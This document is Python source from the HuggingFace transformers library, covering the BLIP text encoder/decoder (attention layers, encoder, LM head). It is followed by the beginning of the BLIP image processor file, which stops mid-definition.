self.value = nn.Linear(config.hidden_size, self.all_head_size)
self.dropout = nn.Dropout(config.attention_probs_dropout_prob)
self.position_embedding_type = getattr(config, "position_embedding_type", "absolute")
if self.position_embedding_type == "relative_key" or self.position_embedding_type == "relative_key_query":
self.max_position_embeddings = config.max_position_embeddings
self.distance_embedding = nn.Embedding(2 * config.max_position_embeddings - 1, self.attention_head_size)
def save_attn_gradients(self, attn_gradients):
self.attn_gradients = attn_gradients
def get_attn_gradients(self):
return self.attn_gradients
def save_attention_map(self, attention_map):
self.attention_map = attention_map
def get_attention_map(self):
return self.attention_map
def transpose_for_scores(self, x):
new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)
x = x.view(*new_x_shape)
return x.permute(0, 2, 1, 3)
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
past_key_value=None,
output_attentions=False,
):
mixed_query_layer = self.query(hidden_states)
# If this is instantiated as a cross-attention module, the keys
# and values come from an encoder; the attention mask needs to be
# such that the encoder's padding tokens are not attended to.
is_cross_attention = encoder_hidden_states is not None
if is_cross_attention:
key_layer = self.transpose_for_scores(self.key(encoder_hidden_states))
value_layer = self.transpose_for_scores(self.value(encoder_hidden_states))
attention_mask = encoder_attention_mask
elif past_key_value is not None:
key_layer = self.transpose_for_scores(self.key(hidden_states))
value_layer = self.transpose_for_scores(self.value(hidden_states))
key_layer = torch.cat([past_key_value[0], key_layer], dim=2)
value_layer = torch.cat([past_key_value[1], value_layer], dim=2)
else:
key_layer = self.transpose_for_scores(self.key(hidden_states))
value_layer = self.transpose_for_scores(self.value(hidden_states))
query_layer = self.transpose_for_scores(mixed_query_layer)
past_key_value = (key_layer, value_layer)
# Take the dot product between "query" and "key" to get the raw attention scores.
attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2))
if self.position_embedding_type == "relative_key" or self.position_embedding_type == "relative_key_query":
seq_length = hidden_states.size()[1]
position_ids_l = torch.arange(seq_length, dtype=torch.long, device=hidden_states.device).view(-1, 1)
position_ids_r = torch.arange(seq_length, dtype=torch.long, device=hidden_states.device).view(1, -1)
distance = position_ids_l - position_ids_r
positional_embedding = self.distance_embedding(distance + self.max_position_embeddings - 1)
positional_embedding = positional_embedding.to(dtype=query_layer.dtype) # fp16 compatibility
if self.position_embedding_type == "relative_key":
relative_position_scores = torch.einsum("bhld,lrd->bhlr", query_layer, positional_embedding)
attention_scores = attention_scores + relative_position_scores
elif self.position_embedding_type == "relative_key_query":
relative_position_scores_query = torch.einsum("bhld,lrd->bhlr", query_layer, positional_embedding)
relative_position_scores_key = torch.einsum("bhrd,lrd->bhlr", key_layer, positional_embedding)
attention_scores = attention_scores + relative_position_scores_query + relative_position_scores_key
attention_scores = attention_scores / math.sqrt(self.attention_head_size)
if attention_mask is not None:
# Apply the attention mask is (precomputed for all layers in BlipTextModel forward() function)
attention_scores = attention_scores + attention_mask.to(attention_scores.device)
# Normalize the attention scores to probabilities.
attention_probs = nn.Softmax(dim=-1)(attention_scores)
# This is actually dropping out entire tokens to attend to, which might
# seem a bit unusual, but is taken from the original Transformer paper.
attention_probs_dropped = self.dropout(attention_probs)
# Mask heads if we want to
if head_mask is not None:
attention_probs_dropped = attention_probs_dropped * head_mask
context_layer = torch.matmul(attention_probs_dropped, value_layer)
context_layer = context_layer.permute(0, 2, 1, 3).contiguous()
new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,)
context_layer = context_layer.view(*new_context_layer_shape)
outputs = (context_layer, attention_probs) if output_attentions else (context_layer,)
outputs = outputs + (past_key_value,)
return outputs
# Copied from transformers.models.bert.modeling_bert.BertSelfOutput with Bert -> BlipText
class BlipTextSelfOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states: torch.Tensor, input_tensor: torch.Tensor) -> torch.Tensor:
hidden_states = self.dense(hidden_states)
hidden_states = self.dropout(hidden_states)
hidden_states = self.LayerNorm(hidden_states + input_tensor)
return hidden_states
# Adapted from https://github.com/salesforce/BLIP/blob/main/models/med.py#242
class BlipTextAttention(nn.Module):
def __init__(self, config, is_cross_attention=False):
super().__init__()
self.self = BlipTextSelfAttention(config, is_cross_attention)
self.output = BlipTextSelfOutput(config)
self.pruned_heads = set()
def prune_heads(self, heads):
if len(heads) == 0:
return
heads, index = find_pruneable_heads_and_indices(
heads, self.self.num_attention_heads, self.self.attention_head_size, self.pruned_heads
)
# Prune linear layers
self.self.query = prune_linear_layer(self.self.query, index)
self.self.key = prune_linear_layer(self.self.key, index)
self.self.value = prune_linear_layer(self.self.value, index)
self.output.dense = prune_linear_layer(self.output.dense, index, dim=1)
# Update hyper params and store pruned heads
self.self.num_attention_heads = self.self.num_attention_heads - len(heads)
self.self.all_head_size = self.self.attention_head_size * self.self.num_attention_heads
self.pruned_heads = self.pruned_heads.union(heads)
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: Optional[torch.FloatTensor] = None,
head_mask: Optional[torch.FloatTensor] = None,
encoder_hidden_states: Optional[torch.FloatTensor] = None,
encoder_attention_mask: Optional[torch.FloatTensor] = None,
past_key_value: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
output_attentions: Optional[bool] = False,
):
self_outputs = self.self(
hidden_states,
attention_mask,
head_mask,
encoder_hidden_states,
encoder_attention_mask,
past_key_value,
output_attentions,
)
attention_output = self.output(self_outputs[0], hidden_states)
outputs = (attention_output,) + self_outputs[1:] # add attentions if we output them
return outputs
# Copied from transformers.models.bert.modeling_bert.BertIntermediate with Bert -> BlipText
class BlipTextIntermediate(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.intermediate_size)
if isinstance(config.hidden_act, str):
self.intermediate_act_fn = ACT2FN[config.hidden_act]
else:
self.intermediate_act_fn = config.hidden_act
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
hidden_states = self.dense(hidden_states)
hidden_states = self.intermediate_act_fn(hidden_states)
return hidden_states
# Copied from transformers.models.bert.modeling_bert.BertOutput with Bert -> BlipText
class BlipTextOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.intermediate_size, config.hidden_size)
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states: torch.Tensor, input_tensor: torch.Tensor) -> torch.Tensor:
hidden_states = self.dense(hidden_states)
hidden_states = self.dropout(hidden_states)
hidden_states = self.LayerNorm(hidden_states + input_tensor)
return hidden_states
class BlipTextLayer(nn.Module):
def __init__(self, config, layer_num):
super().__init__()
self.config = config
self.chunk_size_feed_forward = config.chunk_size_feed_forward
self.seq_len_dim = 1
self.attention = BlipTextAttention(config)
self.layer_num = layer_num
if self.config.is_decoder:
self.crossattention = BlipTextAttention(config, is_cross_attention=self.config.is_decoder)
self.intermediate = BlipTextIntermediate(config)
self.output = BlipTextOutput(config)
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
past_key_value=None,
output_attentions=False,
):
# decoder uni-directional self-attention cached key/values tuple is at positions 1,2
self_attn_past_key_value = past_key_value[:2] if past_key_value is not None else None
self_attention_outputs = self.attention(
hidden_states,
attention_mask,
head_mask,
output_attentions=output_attentions,
past_key_value=self_attn_past_key_value,
)
attention_output = self_attention_outputs[0]
outputs = self_attention_outputs[1:-1]
present_key_value = self_attention_outputs[-1]
if encoder_hidden_states is not None:
cross_attention_outputs = self.crossattention(
attention_output,
attention_mask,
head_mask,
encoder_hidden_states,
encoder_attention_mask,
output_attentions=output_attentions,
)
attention_output = cross_attention_outputs[0]
outputs = outputs + cross_attention_outputs[1:-1] # add cross attentions if we output attention weights
layer_output = apply_chunking_to_forward(
self.feed_forward_chunk, self.chunk_size_feed_forward, self.seq_len_dim, attention_output
)
outputs = (layer_output,) + outputs
outputs = outputs + (present_key_value,)
return outputs
def feed_forward_chunk(self, attention_output):
intermediate_output = self.intermediate(attention_output)
layer_output = self.output(intermediate_output, attention_output)
return layer_output
# Adapted from https://github.com/salesforce/BLIP/blob/main/models/med.py#L386
class BlipTextEncoder(nn.Module):
def __init__(self, config):
super().__init__()
self.config = config
self.layer = nn.ModuleList([BlipTextLayer(config, i) for i in range(config.num_hidden_layers)])
self.gradient_checkpointing = False
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
past_key_values=None,
use_cache=None,
output_attentions=False,
output_hidden_states=False,
return_dict=True,
):
all_hidden_states = () if output_hidden_states else None
all_self_attentions = () if output_attentions else None
all_cross_attentions = () if output_attentions and self.config.is_decoder else None
next_decoder_cache = () if use_cache else None
for i in range(self.config.num_hidden_layers):
layer_module = self.layer[i]
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
layer_head_mask = head_mask[i] if head_mask is not None else None
past_key_value = past_key_values[i] if past_key_values is not None else None
if self.gradient_checkpointing and self.training:
if use_cache:
logger.warn(
"`use_cache=True` is incompatible with gradient checkpointing. Setting `use_cache=False`..."
)
use_cache = False
def create_custom_forward(module):
def custom_forward(*inputs):
return module(*inputs, past_key_value, output_attentions)
return custom_forward
layer_outputs = torch.utils.checkpoint.checkpoint(
create_custom_forward(layer_module),
hidden_states,
attention_mask,
layer_head_mask,
encoder_hidden_states,
encoder_attention_mask,
)
else:
layer_outputs = layer_module(
hidden_states,
attention_mask,
layer_head_mask,
encoder_hidden_states,
encoder_attention_mask,
past_key_value,
output_attentions,
)
hidden_states = layer_outputs[0]
if use_cache:
next_decoder_cache += (layer_outputs[-1],)
if output_attentions:
all_self_attentions = all_self_attentions + (layer_outputs[1],)
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
if not return_dict:
return tuple(
v
for v in [
hidden_states,
next_decoder_cache,
all_hidden_states,
all_self_attentions,
all_cross_attentions,
]
if v is not None
)
return BaseModelOutputWithPastAndCrossAttentions(
last_hidden_state=hidden_states,
past_key_values=next_decoder_cache,
hidden_states=all_hidden_states,
attentions=all_self_attentions,
cross_attentions=all_cross_attentions,
)
# Copied from transformers.models.bert.modeling_bert.BertPooler with Bert->BlipText
class BlipTextPooler(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
self.activation = nn.Tanh()
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
# We "pool" the model by simply taking the hidden state corresponding
# to the first token.
first_token_tensor = hidden_states[:, 0]
pooled_output = self.dense(first_token_tensor)
pooled_output = self.activation(pooled_output)
return pooled_output
# Copied from transformers.models.bert.modeling_bert.BertPredictionHeadTransform with Bert->BlipText
class BlipTextPredictionHeadTransform(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
if isinstance(config.hidden_act, str):
self.transform_act_fn = ACT2FN[config.hidden_act]
else:
self.transform_act_fn = config.hidden_act
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
hidden_states = self.dense(hidden_states)
hidden_states = self.transform_act_fn(hidden_states)
hidden_states = self.LayerNorm(hidden_states)
return hidden_states
# Copied from transformers.models.bert.modeling_bert.BertLMPredictionHead with Bert->BlipText
class BlipTextLMPredictionHead(nn.Module):
def __init__(self, config):
super().__init__()
self.transform = BlipTextPredictionHeadTransform(config)
# The output weights are the same as the input embeddings, but there is
# an output-only bias for each token.
self.decoder = nn.Linear(config.hidden_size, config.vocab_size, bias=False)
self.bias = nn.Parameter(torch.zeros(config.vocab_size))
# Need a link between the two variables so that the bias is correctly resized with `resize_token_embeddings`
self.decoder.bias = self.bias
def forward(self, hidden_states):
hidden_states = self.transform(hidden_states)
hidden_states = self.decoder(hidden_states)
return hidden_states
# Copied from transformers.models.bert.modeling_bert.BertOnlyMLMHead with Bert->BlipText
class BlipTextOnlyMLMHead(nn.Module):
def __init__(self, config):
super().__init__()
self.predictions = BlipTextLMPredictionHead(config)
def forward(self, sequence_output: torch.Tensor) -> torch.Tensor:
prediction_scores = self.predictions(sequence_output)
return prediction_scores
# Adapted from https://github.com/salesforce/BLIP/blob/main/models/med.py#L548
class BlipTextPreTrainedModel(PreTrainedModel):
"""
An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
models.
"""
config_class = BlipTextConfig
base_model_prefix = "bert"
_keys_to_ignore_on_load_missing = [r"position_ids"]
def _init_weights(self, module):
"""Initialize the weights"""
if isinstance(module, (nn.Linear, nn.Embedding)):
# Slightly different from the TF version which uses truncated_normal for initialization
# cf https://github.com/pytorch/pytorch/pull/5617
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
elif isinstance(module, nn.LayerNorm):
module.bias.data.zero_()
module.weight.data.fill_(1.0)
if isinstance(module, nn.Linear) and module.bias is not None:
module.bias.data.zero_()
# Adapted from https://github.com/salesforce/BLIP/blob/3a29b7410476bf5f2ba0955827390eb6ea1f4f9d/models/med.py#L571
class BlipTextModel(BlipTextPreTrainedModel):
"""
The model can behave as an encoder (with only self-attention) as well as a decoder, in which case a layer of
cross-attention is added between the self-attention layers, following the architecture described in [Attention is
all you need](https://arxiv.org/abs/1706.03762) by Ashish Vaswani, Noam Shazeer, Niki Parmar, Jakob Uszkoreit,
Llion Jones, Aidan N. Gomez, Lukasz Kaiser and Illia Polosukhin. argument and `is_decoder` set to `True`; an
`encoder_hidden_states` is then expected as an input to the forward pass.
"""
def __init__(self, config, add_pooling_layer=True):
super().__init__(config)
self.config = config
self.embeddings = BlipTextEmbeddings(config)
self.encoder = BlipTextEncoder(config)
self.pooler = BlipTextPooler(config) if add_pooling_layer else None
self.post_init()
def get_input_embeddings(self):
return self.embeddings.word_embeddings
def set_input_embeddings(self, value):
self.embeddings.word_embeddings = value
# Copied from transformers.models.bert.modeling_bert.BertModel._prune_heads
def _prune_heads(self, heads_to_prune):
"""
Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base
class PreTrainedModel
"""
for layer, heads in heads_to_prune.items():
self.encoder.layer[layer].attention.prune_heads(heads)
def get_extended_attention_mask(
self, attention_mask: Tensor, input_shape: Tuple[int], device: device, is_decoder: bool
) -> Tensor:
"""
Makes broadcastable attention and causal masks so that future and masked tokens are ignored.
Arguments:
attention_mask (`torch.Tensor`):
Mask with ones indicating tokens to attend to, zeros for tokens to ignore.
input_shape (`Tuple[int]`):
The shape of the input to the model.
device: (`torch.device`):
The device of the input to the model.
Returns:
`torch.Tensor` The extended attention mask, with a the same dtype as `attention_mask.dtype`.
"""
# We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]
# ourselves in which case we just need to make it broadcastable to all heads.
if attention_mask.dim() == 3:
extended_attention_mask = attention_mask[:, None, :, :]
elif attention_mask.dim() == 2:
# Provided a padding mask of dimensions [batch_size, seq_length]
# - if the model is a decoder, apply a causal mask in addition to the padding mask
# - if the model is an encoder, make the mask broadcastable to [batch_size, num_heads, seq_length, seq_length]
if is_decoder:
batch_size, seq_length = input_shape
seq_ids = torch.arange(seq_length, device=device)
causal_mask = seq_ids[None, None, :].repeat(batch_size, seq_length, 1) <= seq_ids[None, :, None]
# in case past_key_values are used we need to add a prefix ones mask to the causal mask
# causal and attention masks must have same type with pytorch version < 1.3
causal_mask = causal_mask.to(attention_mask.dtype)
if causal_mask.shape[1] < attention_mask.shape[1]:
prefix_seq_len = attention_mask.shape[1] - causal_mask.shape[1]
causal_mask = torch.cat(
[
torch.ones(
(batch_size, seq_length, prefix_seq_len), device=device, dtype=causal_mask.dtype
),
causal_mask,
],
axis=-1,
)
extended_attention_mask = causal_mask[:, None, :, :] * attention_mask[:, None, None, :]
else:
extended_attention_mask = attention_mask[:, None, None, :]
else:
raise ValueError(
"Wrong shape for input_ids (shape {}) or attention_mask (shape {})".format(
input_shape, attention_mask.shape
)
)
# Since attention_mask is 1.0 for positions we want to attend and 0.0 for
# masked positions, this operation will create a tensor which is 0.0 for
# positions we want to attend and -10000.0 for masked positions.
# Since we are adding it to the raw scores before the softmax, this is
# effectively the same as removing these entirely.
extended_attention_mask = extended_attention_mask.to(dtype=self.dtype) # fp16 compatibility
extended_attention_mask = (1.0 - extended_attention_mask) * -10000.0
return extended_attention_mask
def forward(
self,
input_ids=None,
attention_mask=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
encoder_embeds=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
past_key_values=None,
use_cache=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
is_decoder=False,
):
r"""
encoder_hidden_states (`torch.FloatTensor`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
the model is configured as a decoder.
encoder_attention_mask (`torch.FloatTensor`, *optional*):
Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
the cross-attention if the model is configured as a decoder. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
past_key_values (`tuple(tuple(torch.FloatTensor))`, *optional*):
Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
If `past_key_values` are used, the user can optionally input only the last `decoder_input_ids` (those that
don't have their past key value states given to this model) of shape `(batch_size, 1)` instead of all
`decoder_input_ids` of shape `(batch_size, sequence_length)`.
use_cache (`bool`, *optional*):
If set to `True`, `past_key_values` key value states are returned and can be used to speed up decoding (see
`past_key_values`).
"""
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if is_decoder:
use_cache = use_cache if use_cache is not None else self.config.use_cache
else:
use_cache = False
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
elif input_ids is not None:
input_shape = input_ids.size()
batch_size, seq_length = input_shape
device = input_ids.device
elif inputs_embeds is not None:
input_shape = inputs_embeds.size()[:-1]
batch_size, seq_length = input_shape
device = inputs_embeds.device
elif encoder_embeds is not None:
input_shape = encoder_embeds.size()[:-1]
batch_size, seq_length = input_shape
device = encoder_embeds.device
else:
raise ValueError("You have to specify either input_ids or inputs_embeds or encoder_embeds")
# past_key_values_length
past_key_values_length = past_key_values[0][0].shape[2] if past_key_values is not None else 0
if attention_mask is None:
attention_mask = torch.ones(((batch_size, seq_length + past_key_values_length))).to(device)
# We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]
# ourselves in which case we just need to make it broadcastable to all heads.
extended_attention_mask: torch.Tensor = self.get_extended_attention_mask(
attention_mask, input_shape, device, is_decoder
)
# If a 2D or 3D attention mask is provided for the cross-attention
# we need to make broadcastable to [batch_size, num_heads, seq_length, seq_length]
if encoder_hidden_states is not None:
if type(encoder_hidden_states) == list:
encoder_batch_size, encoder_sequence_length, _ = encoder_hidden_states[0].size()
else:
encoder_batch_size, encoder_sequence_length, _ = encoder_hidden_states.size()
encoder_hidden_shape = (encoder_batch_size, encoder_sequence_length)
if type(encoder_attention_mask) == list:
encoder_extended_attention_mask = [self.invert_attention_mask(mask) for mask in encoder_attention_mask]
elif encoder_attention_mask is None:
encoder_attention_mask = torch.ones(encoder_hidden_shape, device=device)
encoder_extended_attention_mask = self.invert_attention_mask(encoder_attention_mask)
else:
encoder_extended_attention_mask = self.invert_attention_mask(encoder_attention_mask)
else:
encoder_extended_attention_mask = None
# Prepare head mask if needed
# 1.0 in head_mask indicate we keep the head
# attention_probs has shape bsz x n_heads x N x N
# input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]
# and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]
head_mask = self.get_head_mask(head_mask, self.config.num_hidden_layers)
if encoder_embeds is None:
embedding_output = self.embeddings(
input_ids=input_ids,
position_ids=position_ids,
inputs_embeds=inputs_embeds,
past_key_values_length=past_key_values_length,
)
else:
embedding_output = encoder_embeds
encoder_outputs = self.encoder(
embedding_output,
attention_mask=extended_attention_mask,
head_mask=head_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_extended_attention_mask,
past_key_values=past_key_values,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = encoder_outputs[0]
pooled_output = self.pooler(sequence_output) if self.pooler is not None else None
if not return_dict:
return (sequence_output, pooled_output) + encoder_outputs[1:]
return BaseModelOutputWithPoolingAndCrossAttentions(
last_hidden_state=sequence_output,
pooler_output=pooled_output,
past_key_values=encoder_outputs.past_key_values,
hidden_states=encoder_outputs.hidden_states,
attentions=encoder_outputs.attentions,
cross_attentions=encoder_outputs.cross_attentions,
)
# Adapted from https://github.com/salesforce/BLIP/blob/main/models/med.py#L811
class BlipTextLMHeadModel(BlipTextPreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
_keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias"]
def __init__(self, config):
super().__init__(config)
self.bert = BlipTextModel(config, add_pooling_layer=False)
self.cls = BlipTextOnlyMLMHead(config)
def get_output_embeddings(self):
return self.cls.predictions.decoder
def set_output_embeddings(self, new_embeddings):
self.cls.predictions.decoder = new_embeddings
def forward(
self,
input_ids=None,
attention_mask=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
labels=None,
past_key_values=None,
use_cache=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
return_logits=False,
is_decoder=True,
reduction="mean",
):
r"""
encoder_hidden_states (`torch.FloatTensor`, *optional*): Sequence of
hidden-states at the output of the last layer of the encoder. Used in the cross-attention if the model is
configured as a decoder.
encoder_attention_mask (`torch.FloatTensor`, *optional*):
Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
the cross-attention if the model is configured as a decoder. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
labels (`torch.LongTensor`, *optional*):
Labels for computing the left-to-right language modeling loss (next word prediction). Indices should be in
`[-100, 0, ..., config.vocab_size]` (see `input_ids` docstring) Tokens with indices set to `-100` are
ignored (masked), the loss is only computed for the tokens with labels n `[0, ..., config.vocab_size]`
past_key_values (`tuple(tuple(torch.FloatTensor))`, *optional*):
Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
If `past_key_values` are used, the user can optionally input only the last `decoder_input_ids` (those that
don't have their past key value states given to this model) of shape `(batch_size, 1)` instead of all
`decoder_input_ids` of shape `(batch_size, sequence_length)`.
use_cache (`bool`, *optional*):
If set to `True`, `past_key_values` key value states are returned and can be used to speed up decoding (see
`past_key_values`).
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if labels is not None:
use_cache = False
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
past_key_values=past_key_values,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
is_decoder=is_decoder,
)
sequence_output = outputs[0]
prediction_scores = self.cls(sequence_output)
if return_logits:
return prediction_scores[:, :-1, :].contiguous()
lm_loss = None
if labels is not None:
# we are doing next-token prediction; shift prediction scores and input ids by one
shifted_prediction_scores = prediction_scores[:, :-1, :].contiguous()
labels = labels[:, 1:].contiguous().to(shifted_prediction_scores.device)
loss_fct = CrossEntropyLoss(reduction=reduction, label_smoothing=0.1)
lm_loss = loss_fct(shifted_prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
if reduction == "none":
lm_loss = lm_loss.view(prediction_scores.size(0), -1).sum(1)
if not return_dict:
output = (prediction_scores,) + outputs[2:]
return ((lm_loss,) + output) if lm_loss is not None else output
return CausalLMOutputWithCrossAttentions(
loss=lm_loss,
logits=prediction_scores,
past_key_values=outputs.past_key_values,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
cross_attentions=outputs.cross_attentions,
)
def prepare_inputs_for_generation(self, input_ids, past_key_values=None, attention_mask=None, **model_kwargs):
input_shape = input_ids.shape
# if model is used as a decoder in encoder-decoder model, the decoder attention mask is created on the fly
if attention_mask is None:
attention_mask = input_ids.new_ones(input_shape)
# cut decoder_input_ids if past_key_values is used
if past_key_values is not None:
input_ids = input_ids[:, -1:]
return {
"input_ids": input_ids,
"attention_mask": attention_mask,
"past_key_values": past_key_values,
"encoder_hidden_states": model_kwargs.get("encoder_hidden_states", None),
"encoder_attention_mask": model_kwargs.get("encoder_attention_mask", None),
"is_decoder": True,
}
def _reorder_cache(self, past_key_values, beam_idx):
reordered_past = ()
for layer_past in past_key_values:
reordered_past += (tuple(past_state.index_select(0, beam_idx) for past_state in layer_past),)
return reordered_past
|
27182812/ChatGLM-LLaMA-chinese-insturct | 13,821 | src/transformers/models/blip/image_processing_blip.py | # coding=utf-8
# Copyright 2022 The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Image processor class for BLIP."""
from typing import Dict, List, Optional, Union
import numpy as np
from ...image_processing_utils import BaseImageProcessor, BatchFeature, get_size_dict
from ...image_transforms import convert_to_rgb, normalize, rescale, resize, to_channel_dimension_format
from ...image_utils import (
OPENAI_CLIP_MEAN,
OPENAI_CLIP_STD,
ChannelDimension,
ImageInput,
PILImageResampling,
make_list_of_images,
to_numpy_array,
valid_images,
)
from ...utils import TensorType, is_vision_available, logging
if is_vision_available():
import PIL
logger = logging.get_logger(__name__)
class BlipImageProcessor(BaseImageProcessor):
r"""
Constructs a BLIP image processor.
Args:
do_resize (`bool`, *optional*, defaults to `True`):
Whether to resize the image's (height, width) dimensions to the specified `size`. Can be overridden by the
`do_resize` parameter in the `preprocess` method.
size (`dict`, *optional*, defaults to `{"height": 384, "width": 384}`):
Size of the output image after resizing. Can be overridden by the `size` parameter in the `preprocess`
method.
resample (`PILImageResampling`, *optional*, defaults to `PILImageResampling.BICUBIC`):
Resampling filter to use if resizing the image. Only has an effect if `do_resize` is set to `True`. Can be
overridden by the `resample` parameter in the `preprocess` method.
do_rescale (`bool`, *optional*, defaults to `True`):
Wwhether to rescale the image by the specified scale `rescale_factor`. Can be overridden by the
`do_rescale` parameter in the `preprocess` method.
rescale_factor (`int` or `float`, *optional*, defaults to `1/255`):
Scale factor to use if rescaling the image. Only has an effect if `do_rescale` is set to `True`. Can be
overridden by the `rescale_factor` parameter in the `preprocess` method.
do_normalize (`bool`, *optional*, defaults to `True`):
Whether to normalize the image. Can be overridden by the `do_normalize` parameter in the `preprocess`
method. Can be overridden by the `do_normalize` parameter in the `preprocess` method.
image_mean (`float` or `List[float]`, *optional*, defaults to `IMAGENET_STANDARD_MEAN`):
Mean to use if normalizing the image. This is a float or list of floats the length of the number of
channels in the image. Can be overridden by the `image_mean` parameter in the `preprocess` method. Can be
overridden by the `image_mean` parameter in the `preprocess` method.
image_std (`float` or `List[float]`, *optional*, defaults to `IMAGENET_STANDARD_STD`):
Standard deviation to use if normalizing the image. This is a float or list of floats the length of the
number of channels in the image. Can be overridden by the `image_std` parameter in the `preprocess` method.
Can be overridden by the `image_std` parameter in the `preprocess` method.
do_convert_rgb (`bool`, *optional*, defaults to `True`):
Whether to convert the image to RGB.
"""
model_input_names = ["pixel_values"]
def __init__(
self,
do_resize: bool = True,
size: Dict[str, int] = None,
resample: PILImageResampling = PILImageResampling.BICUBIC,
do_rescale: bool = True,
rescale_factor: Union[int, float] = 1 / 255,
do_normalize: bool = True,
image_mean: Optional[Union[float, List[float]]] = None,
image_std: Optional[Union[float, List[float]]] = None,
do_convert_rgb: bool = True,
**kwargs,
) -> None:
super().__init__(**kwargs)
size = size if size is not None else {"height": 384, "width": 384}
size = get_size_dict(size, default_to_square=True)
self.do_resize = do_resize
self.size = size
self.resample = resample
self.do_rescale = do_rescale
self.rescale_factor = rescale_factor
self.do_normalize = do_normalize
self.image_mean = image_mean if image_mean is not None else OPENAI_CLIP_MEAN
self.image_std = image_std if image_std is not None else OPENAI_CLIP_STD
self.do_convert_rgb = do_convert_rgb
def resize(
self,
image: np.ndarray,
size: Dict[str, int],
resample: PILImageResampling = PILImageResampling.BICUBIC,
data_format: Optional[Union[str, ChannelDimension]] = None,
**kwargs,
) -> np.ndarray:
"""
Resize an image.
Resizes the shorter side of the image to `size["shortest_edge"]` while preserving the aspect ratio. If the
longer side is larger than the max size `(int(`size["shortest_edge"]` * 1333 / 800))`, the longer side is then
resized to the max size while preserving the aspect ratio.
Args:
image (`np.ndarray`):
Image to resize.
size (`Dict[str, int]`):
Controls the size of the output image. Should be of the form `{"shortest_edge": int}`.
resample (`PILImageResampling` filter, *optional*, defaults to `PILImageResampling.BICUBIC`):
Resampling filter to use when resiizing the image.
data_format (`str` or `ChannelDimension`, *optional*):
The channel dimension format of the image. If not provided, it will be the same as the input image.
"""
size = get_size_dict(size, default_to_square=True)
output_size = (size["width"], size["height"])
return resize(image, size=output_size, resample=resample, data_format=data_format, **kwargs)
def rescale(
self,
image: np.ndarray,
scale: Union[int, float],
data_format: Optional[Union[str, ChannelDimension]] = None,
